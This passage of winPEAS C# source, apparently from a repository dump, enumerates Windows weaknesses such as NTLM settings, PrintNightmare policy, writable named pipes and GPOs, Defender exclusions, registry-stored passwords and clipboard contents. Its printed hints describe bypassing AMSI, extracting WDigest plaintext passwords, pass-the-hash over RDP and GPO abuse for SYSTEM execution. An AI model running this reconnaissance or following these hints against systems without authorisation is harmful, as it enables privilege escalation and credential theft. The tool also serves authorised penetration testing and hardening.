color = !clientSessionSecurity.HasFlag(SessionSecurity.NTLMv2) && !clientSessionSecurity.HasFlag(SessionSecurity.Require128BitKey) ?\n                                                              Beaprint.ansi_color_bad :\n                                                              Beaprint.ansi_color_good;\n                    Beaprint.ColorPrint($\"      NTLMMinClientSec        : {info.NTLMMinClientSec} ({clientSessionSecurityDescription})\", color);\n\n                    if (info.LanmanCompatibilityLevel < 3 && !clientSessionSecurity.HasFlag(SessionSecurity.NTLMv2))\n                    {\n                        Beaprint.BadPrint(\"        [!] NTLM clients support NTLMv1!\");\n                    }\n                }\n\n                if (info.NTLMMinServerSec != null)\n                {\n                    var serverSessionSecurity = (SessionSecurity)info.NTLMMinServerSec;\n                    var serverSessionSecurityDescription = serverSessionSecurity.GetDescription();\n                    var color = !serverSessionSecurity.HasFlag(SessionSecurity.NTLMv2) && !serverSessionSecurity.HasFlag(SessionSecurity.Require128BitKey) ?\n                                                             Beaprint.ansi_color_bad :\n                                                             Beaprint.ansi_color_good;\n                    Beaprint.ColorPrint($\"      NTLMMinServerSec        : {info.NTLMMinServerSec} ({serverSessionSecurityDescription})\\n\", color);\n\n                    if (info.LanmanCompatibilityLevel < 3 && !serverSessionSecurity.HasFlag(SessionSecurity.NTLMv2))\n                    {\n                        Beaprint.BadPrint(\"        [!] NTLM services on this machine support NTLMv1!\");\n                    }\n                }\n\n                var ntlmOutboundRestrictionsColor = info.OutboundRestrictions == 2 ? Beaprint.ansi_color_good : Beaprint.ansi_color_bad;\n\n                Beaprint.ColorPrint(\"\\n  NTLM Auditing and Restrictions\", Beaprint.LBLUE);\n                Beaprint.NoColorPrint($\"      InboundRestrictions     : {info.InboundRestrictions} ({info.InboundRestrictionsString})\");\n                Beaprint.ColorPrint($\"      OutboundRestrictions    : {info.OutboundRestrictions} ({info.OutboundRestrictionsString})\", ntlmOutboundRestrictionsColor);\n                Beaprint.NoColorPrint($\"      InboundAuditing         : {info.InboundAuditing} ({info.InboundRestrictionsString})\");\n                Beaprint.NoColorPrint($\"      OutboundExceptions      : {info.OutboundExceptions}\");\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintPrintNightmarePointAndPrint()\n        {\n            Beaprint.MainPrint(\"PrintNightmare PointAndPrint Policies\", \"T1068\");\n            Beaprint.LinkPrint(\"https://itm4n.github.io/printnightmare-exploitation/\", \"Check PointAndPrint policy hardening\");\n\n            try\n            {\n                string key = @\"Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\Printers\\\\PointAndPrint\";\n                var restrict = RegistryHelper.GetDwordValue(\"HKLM\", key, \"RestrictDriverInstallationToAdministrators\");\n                var noWarn = RegistryHelper.GetDwordValue(\"HKLM\", key, \"NoWarningNoElevationOnInstall\");\n                var updatePrompt = RegistryHelper.GetDwordValue(\"HKLM\", key, \"UpdatePromptSettings\");\n\n                if (restrict == null && noWarn == null && updatePrompt == null)\n                {\n                    Beaprint.NotFoundPrint();\n                    return;\n                }\n\n                Beaprint.NoColorPrint($\"      RestrictDriverInstallationToAdministrators: {restrict}\\n\" +\n                                      $\"      NoWarningNoElevationOnInstall: {noWarn}\\n\" +\n                                      $\"      UpdatePromptSettings: {updatePrompt}\");\n\n                if (restrict == 0 && noWarn == 1 && updatePrompt == 2)\n                {\n                    Beaprint.BadPrint(\"      [!] Potentially vulnerable to PrintNightmare misconfiguration\");\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintPrintersWMIInfo()\n        {\n            Beaprint.MainPrint(\"Enumerating Printers (WMI)\", \"T1082\");\n\n            try\n            {\n                foreach (var printer in Printers.GetPrinterWMIInfos())\n                {\n                    Beaprint.NoColorPrint($\"      Name:                    {printer.Name}\\n\" +\n                                                 $\"      Status:                  {printer.Status}\\n\" +\n                                                 $\"      Sddl:                    {printer.Sddl}\\n\" +\n                                                 $\"      Is default:              {printer.IsDefault}\\n\" +\n                                                 $\"      Is network printer:      {printer.IsNetworkPrinter}\\n\");\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception ex)\n            {\n                //Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintNamedPipes()\n        {\n            Beaprint.MainPrint(\"Enumerating Named Pipes\", \"T1559\");\n\n            try\n            {\n                string formatString = \"  {0,-100} {1,-70} {2}\\n\";\n\n                Beaprint.NoColorPrint(string.Format($\"{formatString}\", \"Name\", \"CurrentUserPerms\", \"Sddl\"));\n\n                foreach (var namedPipe in NamedPipes.GetNamedPipeInfos())\n                {\n                    var colors = new Dictionary<string, string>\n                    {\n                        {namedPipe.CurrentUserPerms.Replace(\"[\",\"\\\\[\").Replace(\"]\",\"\\\\]\"), Beaprint.ansi_color_bad },\n                    };\n\n                    Beaprint.AnsiPrint(string.Format(formatString, namedPipe.Name, namedPipe.CurrentUserPerms, namedPipe.Sddl), colors);\n                }\n            }\n            catch (Exception ex)\n            {\n                //Beaprint.PrintException(ex.Message);\n            }\n        }\n\n\n        private static void PrintNamedPipeAbuseCandidates()\n        {\n            Beaprint.MainPrint(\"Named Pipes with Low-Priv Write Access to Privileged Servers\", \"T1134.001,T1559\");\n\n            try\n            {\n                var candidates = NamedPipeSecurityAnalyzer.GetNamedPipeAbuseCandidates().ToList();\n\n                if (!candidates.Any())\n                {\n                    Beaprint.NoColorPrint(\"      No risky named pipe ACLs were found.\\n\");\n                    return;\n                }\n\n                foreach (var candidate in candidates)\n                {\n                    var aclSummary = candidate.LowPrivilegeAces.Any()\n                        ? string.Join(\"; \", candidate.LowPrivilegeAces.Select(ace =>\n                            $\"{ace.Principal} [{ace.RightsDescription}]\").Where(s => !string.IsNullOrEmpty(s)))\n                        : \"Unknown\";\n\n                    var serverSummary = candidate.Processes.Any()\n                        ? string.Join(\"; \", candidate.Processes.Select(proc =>\n                            $\"{proc.ProcessName} (PID {proc.Pid}, {proc.UserName ?? proc.UserSid})\"))\n                        : \"No privileged handles observed (service idle or access denied)\";\n\n                    var color = candidate.HasPrivilegedServer ? Beaprint.ansi_color_bad : Beaprint.ansi_color_yellow;\n\n                    Beaprint.ColorPrint($\"    \\\\\\\\.\\\\pipe\\\\{candidate.Name}\", color);\n                    Beaprint.NoColorPrint($\"      Low-priv ACLs  : {aclSummary}\");\n                    Beaprint.NoColorPrint($\"      Observed owners: {serverSummary}\");\n                    Beaprint.NoColorPrint($\"      SDDL           : {candidate.Sddl}\");\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private void PrintAMSIProviders()\n        {\n            Beaprint.MainPrint(\"Enumerating AMSI registered providers\", \"T1562.001\");\n\n            try\n            {\n                var providers = RegistryHelper.GetRegSubkeys(\"HKLM\", @\"SOFTWARE\\Microsoft\\AMSI\\Providers\") ?? new string[] { };\n\n                foreach (var provider in providers)\n                {\n                    var providerPath = RegistryHelper.GetRegValue(\"HKLM\", $\"SOFTWARE\\\\Classes\\\\CLSID\\\\{provider}\\\\InprocServer32\", \"\");\n\n                    Beaprint.NoColorPrint($\"    Provider:       {provider}\\n\" +\n                                          $\"    Path:           {providerPath}\\n\");\n\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception)\n            {\n            }\n        }\n\n        private void PrintSysmon()\n        {\n            PrintSysmonConfiguration();\n            PrintSysmonEventLogs();\n        }\n\n        private void PrintSysmonConfiguration()\n        {\n            Beaprint.MainPrint(\"Enumerating Sysmon configuration\", \"T1518.001\");\n\n            Dictionary<string, string> colors = new Dictionary<string, string>\n            {\n                { SysMon.NotDefined, Beaprint.ansi_color_bad },\n                { \"False\", Beaprint.ansi_color_bad },\n            };\n\n            try\n            {\n                if (!MyUtils.IsHighIntegrity())\n                {\n                    Beaprint.NoColorPrint(\"      You must be an administrator to run this check\");\n                    return;\n                }\n\n                foreach (var item in SysMon.GetSysMonInfos())\n                {\n                    Beaprint.AnsiPrint($\"      Installed:                {item.Installed}\\n\" +\n                                       $\"      Hashing Algorithm:        {item.HashingAlgorithm.GetDescription()}\\n\" +\n                                       $\"      Options:                  {item.Options.GetDescription()}\\n\" +\n                                       $\"      Rules:                    {item.Rules}\\n\",\n                                          colors);\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception)\n            {\n            }\n        }\n\n        private void PrintSysmonEventLogs()\n        {\n            Beaprint.MainPrint(\"Enumerating Sysmon process creation logs (1)\", \"T1654\");\n\n            try\n            {\n                if (!MyUtils.IsHighIntegrity())\n                {\n                    Beaprint.NoColorPrint(\"      You must be an administrator to run this check\");\n                    return;\n                }\n\n                foreach (var item in SysMon.GetSysMonEventInfos())\n                {\n                    Beaprint.BadPrint($\"      EventID:                  {item.EventID}\\n\" +\n                                      $\"      User Name:                {item.UserName}\\n\" +\n                                      $\"      Time Created:             {item.TimeCreated}\\n\");\n                    Beaprint.PrintLineSeparator();\n                }\n\n            }\n            catch (Exception)\n            {\n            }\n        }\n\n        private static void PrintWindowsDefenderInfo()\n        {\n            Beaprint.MainPrint(\"Windows Defender configuration\", \"T1518.001\");\n\n            void DisplayDefenderSettings(WindowsDefenderSettings settings)\n            {\n                var pathExclusions = settings.PathExclusions;\n                var processExclusions = settings.ProcessExclusions;\n                var extensionExclusions = settings.ExtensionExclusions;\n                var asrSettings = settings.AsrSettings;\n\n                if (pathExclusions.Count != 0)\n                {\n                    Beaprint.NoColorPrint(\"\\n  Path Exclusions:\");\n                    foreach (var path in pathExclusions)\n                    {\n                        Beaprint.NoColorPrint($\"    {path}\");\n                    }\n                }\n\n                if (pathExclusions.Count != 0)\n                {\n                    Beaprint.NoColorPrint(\"\\n  PolicyManagerPathExclusions:\");\n                    foreach (var path in pathExclusions)\n                    {\n                        Beaprint.NoColorPrint($\"    {path}\");\n                    }\n                }\n\n                if (processExclusions.Count != 0)\n                {\n                    Beaprint.NoColorPrint(\"\\n  Process Exclusions\");\n                    foreach (var process in processExclusions)\n                    {\n                        Beaprint.NoColorPrint($\"    {process}\");\n                    }\n                }\n\n                if (extensionExclusions.Count != 0)\n                {\n                    Beaprint.NoColorPrint(\"\\n  Extension Exclusions\");\n                    foreach (var ext in extensionExclusions)\n                    {\n                        Beaprint.NoColorPrint($\"    {ext}\");\n                    }\n                }\n\n                if (asrSettings.Enabled)\n                {\n                    Beaprint.NoColorPrint(\"\\n  Attack Surface Reduction Rules:\\n\");\n\n                    Beaprint.NoColorPrint($\"    {\"State\",-10} Rule\\n\");\n                    foreach (var rule in asrSettings.Rules)\n                    {\n                        string state;\n                        if (rule.State == 0)\n                            state = \"Disabled\";\n                        else if (rule.State == 1)\n                            state = \"Blocked\";\n                        else if (rule.State == 2)\n                            state = \"Audited\";\n                        else\n                            state = $\"{rule.State} - Unknown\";\n\n                        var asrRule = _asrGuids.ContainsKey(rule.Rule.ToString())\n                            ? _asrGuids[rule.Rule.ToString()]\n                            : $\"{rule.Rule} - Please report this\";\n\n                        Beaprint.NoColorPrint($\"    {state,-10} {asrRule}\");\n                    }\n\n                    if (asrSettings.Exclusions.Count > 0)\n                    {\n                        Beaprint.NoColorPrint(\"\\n  ASR Exclusions:\");\n                        foreach (var exclusion in asrSettings.Exclusions)\n                        {\n                            Beaprint.NoColorPrint($\"    {exclusion}\");\n                        }\n                    }\n                }\n            }\n\n            try\n            {\n                var info = WindowsDefender.GetDefenderSettingsInfo();\n\n                Beaprint.ColorPrint(\"  Local Settings\", Beaprint.LBLUE);\n                DisplayDefenderSettings(info.LocalSettings);\n\n                Beaprint.ColorPrint(\"  Group Policy Settings\", Beaprint.LBLUE);\n                DisplayDefenderSettings(info.GroupPolicySettings);\n            }\n            catch (Exception e)\n            {\n            }\n        }\n\n        private static void PrintDotNetVersions()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Installed .NET versions\\n\", \"T1082\");\n\n                var info = DotNet.GetDotNetInfo();\n\n                Beaprint.ColorPrint(\"  CLR Versions\", Beaprint.LBLUE);\n                foreach (var version in info.ClrVersions)\n                {\n                    Beaprint.NoColorPrint($\"   {version}\");\n                }\n\n                Beaprint.ColorPrint(\"\\n  .NET Versions\", Beaprint.LBLUE);\n                foreach (var version in info.DotNetVersions)\n                {\n                    Beaprint.NoColorPrint($\"   {version}\");\n                }\n\n                var colors = new Dictionary<string, string>\n                {\n                    { \"True\", Beaprint.ansi_color_good },\n                    { \"False\", Beaprint.ansi_color_bad },\n                };\n\n                Beaprint.ColorPrint(\"\\n  .NET & AMSI (Anti-Malware Scan Interface) support\", Beaprint.LBLUE);\n                Beaprint.AnsiPrint($\"      .NET version supports AMSI     : {info.IsAmsiSupportedByDotNet}\\n\" +\n                                   $\"      OS supports AMSI               : {info.IsAmsiSupportedByOs}\",\n                                    colors);\n\n                var highestVersion = info.HighestVersion;\n                var lowestVersion = info.LowestVersion;\n\n                if ((highestVersion.Major == DotNetInfo.AmsiSupportedByDotNetMinMajorVersion) && (highestVersion.Minor >= DotNetInfo.AmsiSupportedByDotNetMinMinorVersion))\n                {\n                    Beaprint.NoColorPrint($\"        [!] The highest .NET version is enrolled in AMSI!\");\n                }\n\n                if (\n                    info.IsAmsiSupportedByOs &&\n                    info.IsAmsiSupportedByDotNet &&\n                    ((\n                         (lowestVersion.Major == DotNetInfo.AmsiSupportedByDotNetMinMajorVersion - 1)\n                     ) ||\n                     ((lowestVersion.Major == DotNetInfo.AmsiSupportedByDotNetMinMajorVersion) && (lowestVersion.Minor < DotNetInfo.AmsiSupportedByDotNetMinMinorVersion)))\n                )\n                {\n                    Beaprint.NoColorPrint($\"        [-] You can invoke .NET version {lowestVersion.Major}.{lowestVersion.Minor} to bypass AMSI.\");\n                }\n            }\n            catch (Exception e)\n            {\n            }\n        }\n\n        private static void PrintSystemLastShutdownTime()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"System Last Shutdown Date/time (from Registry)\\n\", \"T1082\");\n\n                var shutdownBytes = RegistryHelper.GetRegValueBytes(\"HKLM\", \"SYSTEM\\\\ControlSet001\\\\Control\\\\Windows\", \"ShutdownTime\");\n                if (shutdownBytes != null)\n                {\n                    var shutdownInt = BitConverter.ToInt64(shutdownBytes, 0);\n                    var shutdownTime = DateTime.FromFileTime(shutdownInt);\n\n                    Beaprint.NoColorPrint($\"    Last Shutdown Date/time        :    {shutdownTime}\");\n                }\n            }\n            catch (Exception ex)\n            {\n            }\n        }\n\n        private static void PrintLSAInfo()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Enumerate LSA settings - auth packages included\\n\", \"T1547.005\");\n\n                var settings = RegistryHelper.GetRegValues(\"HKLM\", \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\");\n\n                if ((settings != null) && (settings.Count != 0))\n                {\n                    foreach (var kvp in settings)\n                    {\n                        var val = string.Empty;\n\n                        if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == \"System.String\"))\n                        {\n                            val = string.Join(\",\", (string[])kvp.Value);\n                        }\n                        else if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == \"System.Byte\"))\n                        {\n                            val = BitConverter.ToString((byte[])kvp.Value);\n                        }\n                        else\n                        {\n                            val = kvp.Value.ToString();\n                        }\n\n                        var key = kvp.Key;\n\n                        Beaprint.NoColorPrint($\"    {key,-30}       :       {val}\");\n\n                        if (Regex.IsMatch(key, \"Security Packages\") && Regex.IsMatch(val, @\".*wdigest.*\"))\n                        {\n                            Beaprint.BadPrint(\"    [!]      WDigest is enabled - plaintext password extraction is possible!\");\n                        }\n\n                        if (key.Equals(\"RunAsPPL\", StringComparison.InvariantCultureIgnoreCase) && val == \"1\")\n                        {\n                            Beaprint.BadPrint(\"    [!]      LSASS Protected Mode is enabled! You will not be able to access lsass.exe's memory easily.\");\n                        }\n\n                        if (key.Equals(\"DisableRestrictedAdmin\", StringComparison.InvariantCultureIgnoreCase) && val == \"0\")\n                        {\n                            Beaprint.BadPrint(\"    [!]      RDP Restricted Admin Mode is enabled! You can use pass-the-hash to access RDP on this system.\");\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n            }\n        }\n\n        private static void PrintLocalGroupPolicy()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Display Local Group Policy settings - local users/machine\", \"T1082\");\n\n                var infos = GroupPolicy.GetLocalGroupPolicyInfos();\n\n                foreach (var info in infos)\n                {\n                    Beaprint.NoColorPrint($\"   Type             :     {info.GPOType}\\n\" +\n                                                $\"   Display Name     :     {info.DisplayName}\\n\" +\n                                                $\"   Name             :     {info.GPOName}\\n\" +\n                                                $\"   Extensions       :     {info.Extensions}\\n\" +\n                                                $\"   File Sys Path    :     {info.FileSysPath}\\n\" +\n                                                $\"   Link             :     {info.Link}\\n\" +\n                                                $\"   GPO Link         :     {info.GPOLink.GetDescription()}\\n\" +\n                                                $\"   Options          :     {info.Options.GetDescription()}\\n\");\n\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception ex)\n            {\n            }\n        }\n\n        private static void PrintPotentialGPOAbuse()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Potential GPO abuse vectors (applied domain GPOs writable by current user)\", \"T1484.001\");\n\n                if (!Checks.IsPartOfDomain)\n                {\n                    Beaprint.NoColorPrint(\"    Host is not joined to a domain or domain info is unavailable.\");\n                    return;\n                }\n\n                // Build a friendly group list for the current user to quickly spot interesting memberships\n                var currentGroups = winPEAS.Info.UserInfo.User.GetUserGroups(Checks.CurrentUserName, Checks.CurrentUserDomainName) ?? new System.Collections.Generic.List<string>();\n                var hasGPCO = currentGroups.Any(g => string.Equals(g, \"Group Policy Creator Owners\", System.StringComparison.InvariantCultureIgnoreCase));\n\n                if (hasGPCO)\n                {\n                    Beaprint.BadPrint(\"    [!] Current user is member of 'Group Policy Creator Owners' — can create/own new GPOs. If you can link a GPO to an OU that applies here, you can execute code as SYSTEM via scheduled task/startup script.\");\n                }\n\n                var infos = GroupPolicy.GetLocalGroupPolicyInfos();\n\n                bool anyFinding = false;\n                foreach (var info in infos)\n                {\n                    var fileSysPath = info.FileSysPath?.ToString();\n                    if (string.IsNullOrEmpty(fileSysPath))\n                    {\n                        continue;\n                    }\n\n                    // Only look at domain GPOs stored in SYSVOL\n                    var isSysvolPath = fileSysPath.StartsWith(@\"\\\", System.StringComparison.InvariantCultureIgnoreCase) &&\n                                       fileSysPath.IndexOf(@\"\\SysVol\\\", System.StringComparison.InvariantCultureIgnoreCase) >= 0 &&\n                                       fileSysPath.IndexOf(@\"\\Policies\\\", System.StringComparison.InvariantCultureIgnoreCase) >= 0;\n\n                    if (!isSysvolPath)\n                    {\n                        continue;\n                    }\n\n                    // Check write/equivalent permissions on common abuse locations inside the GPO\n                    var pathsToCheck = new System.Collections.Generic.List<string>\n                    {\n                        fileSysPath,\n                        System.IO.Path.Combine(fileSysPath, @\"Machine\\Scripts\\Startup\"),\n                        System.IO.Path.Combine(fileSysPath, @\"User\\Scripts\\Logon\"),\n                        System.IO.Path.Combine(fileSysPath, @\"Machine\\Preferences\\ScheduledTasks\")\n                    };\n\n                    foreach (var p in pathsToCheck)\n                    {\n                        var perms = PermissionsHelper.GetPermissionsFolder(p, Checks.CurrentUserSiDs, PermissionType.WRITEABLE_OR_EQUIVALENT);\n                        if (perms != null && perms.Count > 0)\n                        {\n                            if (!anyFinding)\n                            {\n                                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/gpo-abuse.html\", \"Why it matters\");\n                            }\n                            anyFinding = true;\n                            Beaprint.BadPrint($\"    [!] Writable applied GPO detected\");\n                            Beaprint.NoColorPrint($\"        GPO Display Name : {info.DisplayName}\");\n                            Beaprint.NoColorPrint($\"        GPO Name         : {info.GPOName}\");\n                            Beaprint.NoColorPrint($\"        GPO Link         : {info.Link}\");\n                            Beaprint.NoColorPrint($\"        Path             : {p}\");\n                            foreach (var entry in perms)\n                            {\n                                Beaprint.NoColorPrint($\"          -> {entry}\");\n                            }\n                            Beaprint.GrayPrint(\"        Hint: Abuse by adding an immediate Scheduled Task or Startup script to execute as SYSTEM on gpupdate.\");\n                        }\n                    }\n                }\n\n                if (!anyFinding && !hasGPCO)\n                {\n                    Beaprint.NoColorPrint(\"    No obvious GPO abuse via writable SYSVOL paths or GPCO membership detected.\");\n                }\n            }\n            catch (Exception ex)\n            {\n                // Avoid noisy stack traces in normal runs\n                Beaprint.GrayPrint($\"    [!] Error while checking potential GPO abuse: {ex.Message}\");\n            }\n        }\n\n\n        private static void PrintPowerShellSessionSettings()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Enumerating PowerShell Session Settings using the registry\", \"T1059.001\");\n\n                if (!MyUtils.IsHighIntegrity())\n                {\n                    Beaprint.NoColorPrint(\"      You must be an administrator to run this check\");\n                    return;\n                }\n\n                var infos = PowerShell.GetPowerShellSessionSettingsInfos();\n\n                foreach (var info in infos)\n                {\n                    Beaprint.NoColorPrint($\"    {\"Name\",-38} {info.Plugin}\");\n\n                    foreach (var access in info.Permissions)\n                    {\n                        Beaprint.NoColorPrint($\"      {access.Principal,-35}  {access.Permission,-22}\");\n                    }\n\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception ex)\n            {\n            }\n        }\n\n        private static void PrintRegistryCreds()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Enumerating saved credentials in Registry (CurrentPass)\", \"T1552.002\");\n                string currentPass = \"CurrentPass\";\n                var hive = \"HKLM\";\n                var path = \"System\";\n                var controlSet = \"ControlSet\";\n\n                var colors = new Dictionary<string, string>\n                {\n                    { currentPass, Beaprint.ansi_color_bad }\n                };\n\n                var subkeys = RegistryHelper.GetRegSubkeys(hive, path);\n\n                foreach (var subkey in subkeys.Where(i => i.Contains(controlSet)))\n                {\n                    try\n                    {\n                        var subPath = @$\"{path}\\{subkey}\\Control\";\n                        var key = $@\"{hive}\\{subPath}\\{currentPass}\";\n                        var value = RegistryHelper.GetRegValue(hive, subPath, currentPass);\n\n                        if (!string.IsNullOrWhiteSpace(value))\n                        {\n                            Beaprint.AnsiPrint($@\"    {key,-60}   :   {value}\", colors);\n                        }\n                    }\n                    catch (Exception)\n                    {\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Checks/UserInfo.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Runtime.InteropServices;\nusing System.Security.Principal;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.Extensions;\nusing winPEAS.Info.UserInfo;\nusing winPEAS.Info.UserInfo.LogonSessions;\nusing winPEAS.Info.UserInfo.Tenant;\nusing winPEAS.Info.UserInfo.Token;\nusing winPEAS.Native;\nusing winPEAS.Native.Enums;\nusing winPEAS.Native.Structs;\n\nnamespace winPEAS.Checks\n{\n    internal class UserInfo : ISystemCheck\n    {\n        /* Colors Code\n        * RED:\n        * ---- Privileges users and groups names\n        * MAGENTA:\n        * ---- Current user and domain\n        * BLUE:\n        * ---- Locked users\n        * CYAN:\n        * ---- Active users\n        * MediumPurple:\n        * ---- Disabled users\n       */\n\n\n        static string badgroups = \"docker|Remote |DNSAdmins|AD Recycle Bin|Azure Admins|Admins|Server Operators\";//The space in Remote is important to not mix with SeShutdownRemotePrivilege\n        static readonly string _badPasswd = \"NotChange|NotExpi\";\n        static readonly string _badPrivileges = \"SeImpersonatePrivilege|SeAssignPrimaryPrivilege|SeTcbPrivilege|SeBackupPrivilege|SeRestorePrivilege|SeCreateTokenPrivilege|SeLoadDriverPrivilege|SeTakeOwnershipPrivilege|SeDebugPrivilege\";\n\n        public string[] MitreAttackIds { get; } = new[] { \"T1087.001\", \"T1087.004\", \"T1033\", \"T1134.001\", \"T1115\", \"T1563.002\", \"T1083\", \"T1552.002\", \"T1201\" };\n\n        public void PrintInfo(bool isDebug)\n        {\n            Beaprint.GreatPrint(\"Users Information\", \"T1087.001,T1087.004,T1033,T1134.001,T1115,T1563.002,T1083,T1552.002,T1201\");\n\n            new List<Action>\n            {\n                PrintCU,\n                PrintCurrentUserIdleTime,\n                PrintCurrentTenantInfo,\n                PrintTokenP,\n                PrintClipboardText,\n                PrintLoggedUsers,\n                PrintLocalUsers,\n                PrintRdpSessions,\n                PrintEverLoggedUsers,\n                PrintHomeFolders,\n                PrintAutoLogin,\n                PrintPasswordPolicies,\n                PrintLogonSessions\n            }.ForEach(action => CheckRunner.Run(action, isDebug));\n        }\n\n        Dictionary<string, string> ColorsU()\n        {\n            var usersColors = new Dictionary<string, string>()\n                {\n                    { Checks.PaintActiveUsersNoAdministrator, Beaprint.ansi_users_active },\n                    { Checks.CurrentUserName + \"|\"+ Checks.CurrentUserDomainName, Beaprint.ansi_current_user },\n                    { Checks.PaintAdminUsers+\"|\"+ badgroups + \"|\" + _badPasswd + \"|\" + _badPrivileges + \"|\" + \"DefaultPassword.*\", Beaprint.ansi_color_bad },\n                    { @\"Disabled\", Beaprint.ansi_users_disabled },\n                };\n\n            if (Checks.PaintDisabledUsers.Length > 1)\n            {\n                usersColors[Checks.PaintDisabledUsersNoAdministrator] = Beaprint.ansi_users_disabled;\n            }\n            return usersColors;\n        }\n\n        void PrintCU()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Users\", \"T1087.001\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#users--groups\", \"Check if you have some admin equivalent privileges\");\n\n                List<string> usersGrps = User.GetMachineUsers(false, false, false, false, true);\n\n                Beaprint.AnsiPrint(\"  Current user: \" + Checks.CurrentUserName, ColorsU());\n\n                List<string> currentGroupsNames = new List<string>();\n                foreach (KeyValuePair<string, string> g in Checks.CurrentUserSiDs)\n                {\n                    if (g.Key == WindowsIdentity.GetCurrent().User.ToString())\n                    {\n                        continue;\n                    }\n                    currentGroupsNames.Add(string.IsNullOrEmpty(g.Value) ? g.Key : g.Value);\n                }\n\n                Beaprint.AnsiPrint(\"  Current groups: \" + string.Join(\", \", currentGroupsNames), ColorsU());\n                Beaprint.PrintLineSeparator();\n                Beaprint.ListPrint(usersGrps, ColorsU());\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintTokenP()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Current Token privileges\", \"T1134.001\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#token-manipulation\", \"Check if you can escalate privilege using some enabled token\");\n                Dictionary<string, string> tokenPrivs = Token.GetTokenGroupPrivs();\n                Beaprint.DictPrint(tokenPrivs, ColorsU(), false);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintClipboardText()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Clipboard text\", \"T1115\");\n                string clipboard = UserInfoHelper.GetClipboardText();\n                if (!string.IsNullOrEmpty(clipboard))\n                {\n                    Beaprint.BadPrint(clipboard);\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintLoggedUsers()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Logged users\", \"T1033\");\n                List<string> loggedUsers = User.GetLoggedUsers();\n\n                Beaprint.ListPrint(loggedUsers, ColorsU());\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintRdpSessions()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"RDP Sessions\", \"T1563.002\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/credentials-mgmt/rdp-sessions\", \"Disconnected high-privilege RDP sessions keep reusable tokens inside LSASS.\");\n                List<Dictionary<string, string>> rdp_sessions = UserInfoHelper.GetRDPSessions();\n                if (rdp_sessions.Count > 0)\n                {\n                    string format = \"    {0,-8}{1,-15}{2,-20}{3,-22}{4,-15}{5,-18}{6,-10}\";\n                    string header = string.Format(format, \"SessID\", \"Session\", \"User\", \"Domain\", \"State\", \"SourceIP\", \"HighPriv\");\n                    Beaprint.GrayPrint(header);\n                    var colors = ColorsU();\n                    List<Dictionary<string, string>> flaggedSessions = new List<Dictionary<string, string>>();\n                    foreach (Dictionary<string, string> rdpSes in rdp_sessions)\n                    {\n                        rdpSes.TryGetValue(\"SessionID\", out string sessionId);\n                        rdpSes.TryGetValue(\"pSessionName\", out string sessionName);\n                        rdpSes.TryGetValue(\"pUserName\", out string userName);\n                        rdpSes.TryGetValue(\"pDomainName\", out string domainName);\n                        rdpSes.TryGetValue(\"State\", out string state);\n                        rdpSes.TryGetValue(\"SourceIP\", out string sourceIp);\n\n                        sessionId = sessionId ?? string.Empty;\n                        sessionName = sessionName ?? string.Empty;\n                        userName = userName ?? string.Empty;\n                        domainName = domainName ?? string.Empty;\n                        state = state ?? string.Empty;\n                        sourceIp = sourceIp ?? string.Empty;\n\n                        bool isHighPriv = UserInfoHelper.IsHighPrivilegeAccount(userName, domainName);\n                        string highPrivLabel = isHighPriv ? \"Yes\" : \"No\";\n                        rdpSes[\"HighPriv\"] = highPrivLabel;\n\n                        if (isHighPriv && string.Equals(state, \"Disconnected\", StringComparison.OrdinalIgnoreCase))\n                        {\n                            flaggedSessions.Add(rdpSes);\n                        }\n\n                        Beaprint.AnsiPrint(string.Format(format, sessionId, sessionName, userName, domainName, state, sourceIp, highPrivLabel), colors);\n                    }\n\n                    if (flaggedSessions.Count > 0)\n                    {\n                        Beaprint.BadPrint(\"    [!] Disconnected high-privilege RDP sessions detected. Their credentials/tokens stay in LSASS until the user 